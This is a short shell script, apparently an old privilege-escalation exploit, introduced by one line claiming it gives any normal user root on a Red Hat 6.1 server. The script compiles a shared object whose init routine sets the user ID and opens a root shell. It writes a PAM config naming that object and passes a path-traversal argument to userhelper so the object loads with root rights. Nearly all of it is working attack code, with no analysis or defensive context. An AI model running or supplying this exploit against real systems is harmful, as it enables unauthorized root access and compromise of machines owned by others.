by using the script, any normal user on a redhat 61 sever is able to get
'root' rights. The 'id' gets changed to 'root'.
#!/bin/sh
cat > _pamslam.c << EOF
#include<stdlib.h>
#include<unistd.h>
#include<sys/types.h>
void _init(void)
{
    setuid(geteuid());
    system("/bin/sh");
}
EOF

echo -n .

echo -e auth\\trequired\\t$PWD/_pamslam.so > _pamslam.conf
chmod 755 _pamslam.conf

echo -n .

gcc -fPIC -o _pamslam.o -c _pamslam.c

echo -n o

ld -shared -o _pamslam.so _pamslam.o

echo -n o

chmod 755 _pamslam.so

echo -n O


echo O

/usr/sbin/userhelper -w ../../..$PWD/_pamslam.conf

sleep 1s